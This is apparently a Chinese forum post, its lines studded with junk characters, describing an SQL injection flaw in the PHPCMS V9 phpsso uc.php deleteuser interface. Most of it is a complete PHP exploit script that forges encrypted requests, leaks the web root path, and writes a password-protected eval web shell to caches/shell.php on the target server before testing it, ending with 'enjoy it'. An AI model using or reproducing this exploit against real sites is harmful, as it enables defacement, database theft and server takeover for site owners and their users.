PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。7 t( M1 y% U- A D2 M* ~
1 X+ h# x/ I4 f! o' h) c! I. D) B
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) C/ b. b# f: A* @' l5 r
$ S* c7 c+ g& |0 N漏洞分析:* R9 {; i; B; S: ]4 {# b9 g
1.未启用ucenter服务的情况下uc_key为空
' _, I# X b+ |" t/ `define('UC_KEY', pc_base::load_config('system', 'uc_key'));! W [- p( f( ^! k9 |1 M- q, U
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ c; ^& e& L# n, W public function deleteuser($get,$post) {
0 I3 v& O) R0 m- _! i0 t4 V! C pc_base::load_app_func('global', 'admin');
9 K% W+ ^/ F" _ h% b% X pc_base::load_app_class('messagequeue', 'admin' , 0);* d8 }3 R+ ]5 R
$ids = new_stripslashes($get['ids']);* E6 O9 K; D9 w5 m* ~# [2 C( i+ @
$s = $this->member_db->select("ucuserid in ($ids)", "uid");: Z7 v4 s: c, G. B9 q; ?" H
SQL语句为
5 f2 x4 a1 T/ T3 x" J+ jSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
' |& R1 b( `1 E$ S' A3 H# r( w
+ s. x4 |, s* q( K4 C7 Z- n- _9 B( P" Q6 r利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
4 q: T9 |7 t, ` ~3 i h<?php
/ C4 x M3 B" f% u8 k. ^print_r('; ^2 m; ]9 k3 X+ Y# g
---------------------------------------------------------------------------
6 M* c- B0 U$ N8 ^; BPHPcms (v9 or Old Version) uc api sql injection 0day
1 G5 S7 X2 E$ c' iby rayh4c#80sec.com% }. l6 t" k9 T7 B
---------------------------------------------------------------------------* l% [. O, [0 c6 F* s' l
');8 X$ R' h/ H# `6 |5 v
5 u* L% t: \: o- `
if ($argc<3) {
' i7 E# Q& ?+ I7 j. U* O2 {2 q% X print_r('1 A* X; m: |5 K7 u. T1 m
---------------------------------------------------------------------------
7 D! t$ J. c2 B+ K8 r; ^+ HUsage: php '.$argv[0].' host path OPTIONS6 Z! [+ e& r$ U6 K
host: target server (ip/hostname)
% L& G6 L; f2 ^9 g# npath: path to phpcms
2 F: ^. m) t5 n |% POptions:. n1 E/ n& J4 N2 k. E( x
-p[port]: specify a port other than 80+ d& O: @( W4 E
-P[ip:port]: specify a proxy
+ [2 z7 W: N5 S8 y$ G- o+ g* c# jExample:+ o. U7 A) F3 u( e' I
php '.$argv[0].' localhost /
, V) v* O9 S, E m: U* q0 dphp '.$argv[0].' localhost /phpcms/ -p81
3 t1 }" J3 H: `) h$ [php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:803 A$ w; ^$ H# _7 l
---------------------------------------------------------------------------% G( }( a f- T& `% b
');
8 a' w1 b5 v. L" F die;
/ l0 i/ l* B9 | v( U- g; X}
: k7 @9 j1 I! ~4 i" I' }8 C: G0 S7 n
2 j3 c7 w- T5 | E7 u/ [ Ierror_reporting(7);; w0 W/ ?0 s/ b- e1 I
ini_set("max_execution_time",0);; V/ N: L2 `" P$ N3 v! } I- n5 I
ini_set("default_socket_timeout",5);
0 m: A; ~4 F! S+ F3 g9 q6 i
% s, z5 y, s8 L. w2 e* o# pfunction quick_dump($string)! ~% P, N# a5 j- J+ H6 d0 h
{
0 o8 o, q0 s' R. | [1 U: _ $result='';$exa='';$cont=0;
6 Q# d3 A R! V0 } for ($i=0; $i<=strlen($string)-1; $i++)
) c ~1 c; r6 ]8 `7 ]4 P {" A0 k/ l9 D9 c# W- G
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))2 f3 T0 Q0 J$ |! _' F
{$result.=" .";}
$ M( i1 `1 X# `( C# E: N else
; k# V& M/ ?9 c1 I6 A {$result.=" ".$string[$i];}6 |3 O* a4 g0 A: d0 p/ |7 X
if (strlen(dechex(ord($string[$i])))==2)
9 m) o$ H8 K$ y+ r4 [" v {$exa.=" ".dechex(ord($string[$i]));}
# ^+ i) H* F5 A0 T7 P/ G; d else
$ a! u) h7 x' v. h* p. |6 \ {$exa.=" 0".dechex(ord($string[$i]));}
% |+ n, @, k$ ^ $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
" F j3 P" v4 ~ p }4 i' H% F7 X/ }' |6 W4 U
return $exa."\r\n".$result;% o a% z* G! n4 X7 l( Z+ O7 t
}
) @) ]7 n8 \; |# N* o- ]" K- p$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. k0 A" h5 }2 L \
5 l1 ^: G2 P. nfunction send($packet), F5 e2 U$ g6 C' r4 k! p% p! O# C- U
{
5 Z: M% w( n' Z global $proxy, $host, $port, $html, $proxy_regex;: ~3 C$ f2 Z, M
if ($proxy=='') {* U, X3 O$ {: s8 c K! P
$ock=fsockopen(gethostbyname($host),$port);
( E i7 P. C3 a if (!$ock) {- o& M* W& S! C$ M* w: l
echo 'No response from '.$host.':'.$port; die;3 v/ s6 `9 T$ \& ] [
}
' u2 r d- A/ ~$ z1 C* T4 A* `9 ]7 O5 J }6 }$ K! q# N5 y/ U$ ]
else {4 D0 o* E' d. {6 b9 w0 y9 J
$c = preg_match($proxy_regex,$proxy);) ^+ B4 W: ]: R" a' C2 M
if (!$c) {
5 S( {5 ~4 G. B) X! n9 p echo 'Not a valid proxy...';die;. X# y' Q7 M% Q/ k% U
}
2 E+ V- k# Z) d( M9 \& E/ F; f/ B4 u $parts=explode(':',$proxy);
, o; t g6 A7 O- ?# b2 h $parts[1]=(int)$parts[1];3 w" Y0 V7 J5 \ X0 z
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
4 o( c9 N/ R) s7 _. k% ^ $ock=fsockopen($parts[0],$parts[1]);' f5 o) Y9 T- W& w
if (!$ock) {
, }& O$ X9 I$ F: H5 f% R echo 'No response from proxy...';die;) @5 | C, P7 Y' r+ U, E
}/ f* I# O& d& ?6 W: B; p1 A
}
& J: W+ w Q0 N0 T fputs($ock,$packet);
/ g: {' [: _+ V$ O if ($proxy=='') {( i5 U: L7 e$ x3 X/ f
$html='';( J: [, a9 c6 E& x7 l) p
while (!feof($ock)) { _% L, n2 p3 Y/ |% Q
$html.=fgets($ock);
; \. t8 M, U4 r; v& o/ {9 e s P }
5 p ~' K' f& p$ R, i7 J }
9 H, n! k8 W/ [6 L* o" L3 L else {1 B) p0 L5 T/ j' `6 R# q
$html='';
4 J) F- w5 z$ M- Z4 ]& L while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {1 T5 }* G& Z' L3 Y
$html.=fread($ock,1);0 O: G( }" S1 A- `* d5 Q9 F
}
, n3 Y1 a) W" u |" F! M }9 R }* m1 i) s1 b: J: N- o! q/ o
fclose($ock);2 y( N! D, x( P9 k/ x% `0 a
}
# r& n/ U0 }! Y# }0 i1 x3 V+ M3 Q& x
8 x3 j- ]5 d% r, j3 U" e$host=$argv[1];4 f9 z' @# y# j$ h2 \5 l# u
$path=$argv[2];& {$ g/ W; y- M4 f' J6 C
$port=80;
; d$ Y5 K4 R0 g% N/ w$proxy="";
2 k( u5 }3 v+ p1 V) H d, ~for ($i=3; $i<$argc; $i++){
+ `- g } t. j; l# p$temp=$argv[$i][0].$argv[$i][1];
, s# K/ [7 t5 C ]/ X/ F- [7 pif ($temp=="-p")9 X2 B& I/ b: R/ |
{
( q/ Q1 S# d% n9 A# r H! X$ ?. g $port=(int)str_replace("-p","",$argv[$i]);
# b8 q/ B5 {( l+ r4 w' l: ^8 ?+ [}- z& o( H5 C1 W+ ?7 w8 m/ L0 x
if ($temp=="-P")
( t# h5 G: b/ [6 ^1 U" F{+ ^6 N$ I. c% u( R {0 ~$ Z* R
$proxy=str_replace("-P","",$argv[$i]);
2 i! J+ Z4 e* {% I}
- [4 w' a4 H& x" x, q9 Q& R* S}
9 i) d5 b. N9 c! J4 |
- E. n3 n7 U7 }) [; a4 T" e# R M' Oif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 q4 G9 f2 g- L& e' s" z9 s& q. G
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, w0 @% p8 k$ N. }& H
, n2 w8 `. N! V, }" U; b5 R/ vfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. y" f/ O9 u u; z
# a& }& N+ G% l; M $ckey_length = 4;, u+ l) h9 K' F; H5 I; d/ D4 y2 `
2 T4 [2 i: x7 ]; J5 j7 l2 ?# w( u $key = md5($key ? $key : '');/ f" p6 n2 B3 k* e
$keya = md5(substr($key, 0, 16));
+ G" P! @7 k; e; F+ Z $keyb = md5(substr($key, 16, 16));" T/ P9 u$ ^7 {# N- g+ Q* e% r5 u* G
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
5 f; m) h- U* ]9 w- Y- L7 g; c* J6 O4 G
$cryptkey = $keya.md5($keya.$keyc);0 p& o8 R% m/ I7 s( n2 P% K+ R
$key_length = strlen($cryptkey);% K/ s6 n3 K: p( j1 k. I8 z
4 _! s E$ c [( I- ?0 x $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ o) z& @1 ]* U* Q $string_length = strlen($string);' q2 G8 }4 K b" U; r: [: @7 r
& d" d) p. _) ~! I& D
$result = '';/ ^3 F7 r& W" W2 g* r# Z0 F) X
$box = range(0, 255);- x4 q. K1 x* G# Z
" C: I u/ S7 b( Q z9 @ $rndkey = array();
, ?) r# Z; k# I3 R+ \# | r for($i = 0; $i <= 255; $i++) {
( o" P9 ^& J3 I7 {+ w) o( G8 K $rndkey[$i] = ord($cryptkey[$i % $key_length]);1 h4 L) F, M9 p; `4 a. N! ~# t
}" b5 h! }9 o% h3 [9 {
* @+ Z; [, S9 t1 j2 }/ M8 f
for($j = $i = 0; $i < 256; $i++) {
5 c9 a* x* u4 C $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, R* Z" h% e/ N. w $tmp = $box[$i];$ h2 _2 a$ x/ u7 ` p( {
$box[$i] = $box[$j];
, O) l/ ^5 b1 f5 i: w+ Q+ g $box[$j] = $tmp;
4 h9 h Q* J4 D( s }4 v+ [. A# s+ X0 a2 f, d* I F9 C
9 i6 F+ `5 ~. h3 k6 C* j3 ?4 x for($a = $j = $i = 0; $i < $string_length; $i++) {
2 y8 N V: g8 f) F $a = ($a + 1) % 256;; v* C2 k& y/ K, f+ u: p' `$ _' U# C$ x
$j = ($j + $box[$a]) % 256;
! d$ _' `0 p$ L; a: {% ^ $tmp = $box[$a];
/ k) X$ X% {/ T t2 L $box[$a] = $box[$j];$ W! J: X& a+ H3 z. c0 G; Z4 U/ J
$box[$j] = $tmp;
- s- W) s5 d! `4 Q3 Z $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));; E' l5 |% t8 J, p* U
}
9 T2 f, b1 {" @, O! H, Z2 i1 Q8 B) ~3 l! N7 d0 D' F9 r) T
if($operation == 'DECODE') {
3 ]* c# Q7 i1 d! ~3 x6 m if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% _$ a# Y: R, T" x return substr($result, 26);$ y0 g M4 h" _8 V+ H
} else {- W8 t2 @, n$ W6 P l" r
return '';$ p8 _/ k; V- z. A7 g; _
}
# v3 v& F- q5 _$ n' \' Q } else {
; Y# Q m" u- j F+ f( n1 K return $keyc.str_replace('=', '', base64_encode($result));
e" T3 ?" B9 K+ G% H }3 `# k" g. p7 x6 R u% u
- |; w! g5 F1 d) R}
5 P9 D% l4 a6 \) \ \5 J# V3 |5 g8 L5 Q% B! W$ U+ Q
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
8 P1 }0 ?9 G( K- z# c: z2 D$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% h$ M4 F% I& z s, X7 U4 E, ?) Vecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: z. j8 d( v3 ]/ L' p% \: G; D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) ?2 N9 F- r! p5 k
$packet.="User-Agent: Mozilla/5.0\r\n";
: }9 b+ ?1 P2 F7 [: {$packet.="Host: ".$host."\r\n";
& E2 x2 `1 D) q3 m: p/ B$packet.="Connection: Close\r\n\r\n";
5 ?; I' n" r1 osend($packet);
( A; I/ l A) E" I# N( xif(strpos($html,"MySQL Errno") > 0){
+ I/ j# ^/ R$ a1 zecho "[2] 发现存在SQL注入漏洞"."\n";
! k7 H% ^7 o8 A+ |1 j+ h8 i: wecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";/ `% @, \8 S1 {% J
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";8 K- z) ~4 F8 Y" m: c
$packet.="User-Agent: Mozilla/5.0\r\n";4 W0 j i" l5 f% p
$packet.="Host: ".$host."\r\n";
# i) k5 K! |! ?( a% }$packet.="Connection: Close\r\n\r\n";
# M5 ?& @4 A6 h* \9 i' B. ?send($packet);
7 ?1 Y7 n- L0 V L% `preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);1 k* r- U; J, W8 t6 e, Q2 m( I
//print_r($matches);
5 [. j6 S1 y/ L" ^9 Z# _; m- Uif(!empty($matches)){2 O7 }) I8 s( E! _, Y$ e
echo "[4] 得到web路径 " . $matches[0]."\n";
! I7 q. }" W4 n9 L7 [7 secho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 K8 e5 t; ~& D; j V% \) [# w$SQL = "time=999999999999999999999999&ids=1)";- A! {- l4 E) D. o1 i! G
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";0 m: X! @4 ~$ i8 g
$SQL.="&action=deleteuser";
$ X: J/ Y4 d. l) u- _0 v/ v6 B8 K$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 N/ c' [) y9 x: L4 F0 w( Oecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% k( {+ Q1 x: h$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- [( Q/ c2 J# q$packet.="User-Agent: Mozilla/5.0\r\n";
6 A f" L% N, S$packet.="Host: ".$host."\r\n";
6 ?1 O0 }! f- l3 `/ P7 `$packet.="Connection: Close\r\n\r\n";
6 x2 B; T7 [8 x l" k! M/ Q9 gsend($packet);
9 }1 {$ P7 j) d/ Hif(strpos($html,"Access denied") > 0){- C7 v/ a% U4 W3 F+ m0 l
echo "[-] MYSQL权限过低 禁止写入文件 ";9 Q0 ?; h1 D9 j! H& ]- }2 j$ h
die;. m" G6 S& M! e
}6 R; d7 Z% Q" R: n3 W% `8 O
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 v0 ^3 ^* z. ?5 s$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
! b7 K1 Z3 h$ p4 t1 H$ W& i2 Z" N0 K: @$packet.="User-Agent: Mozilla/5.0\r\n";
% b# O2 _" Y' z$packet.="Host: ".$host."\r\n";
2 g9 g1 ]; o4 X( Y$ W- Z0 v9 p0 _$packet.="Connection: Close\r\n\r\n";
! Y! y' i5 I5 osend($packet);" R/ n5 E* c9 J6 a1 R
if(strpos($html,"<title>phpinfo()</title>") > 0){* g" [1 z$ n( n7 ^% M$ _
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
7 D2 ^9 l% @! F}
4 A( |! ?' L$ j: P* M( V1 H}else{
2 J0 m9 u7 i; j" yecho "[-]未取到web路径 ";: |/ @/ w u! E2 ^# A
}+ |# H# i. b5 v; z
}else{0 i3 l7 P( @% I% H7 O6 t! ^) O
echo "[*]不存在SQL注入漏洞"."\n"; z* d' \3 A6 q( a" w
}: U6 f/ T- d5 q3 v4 O; r( l
2 q. K' B: W7 v. \6 w6 d% B1 C* I" m: ??>
9 e0 o, S8 f6 r- { |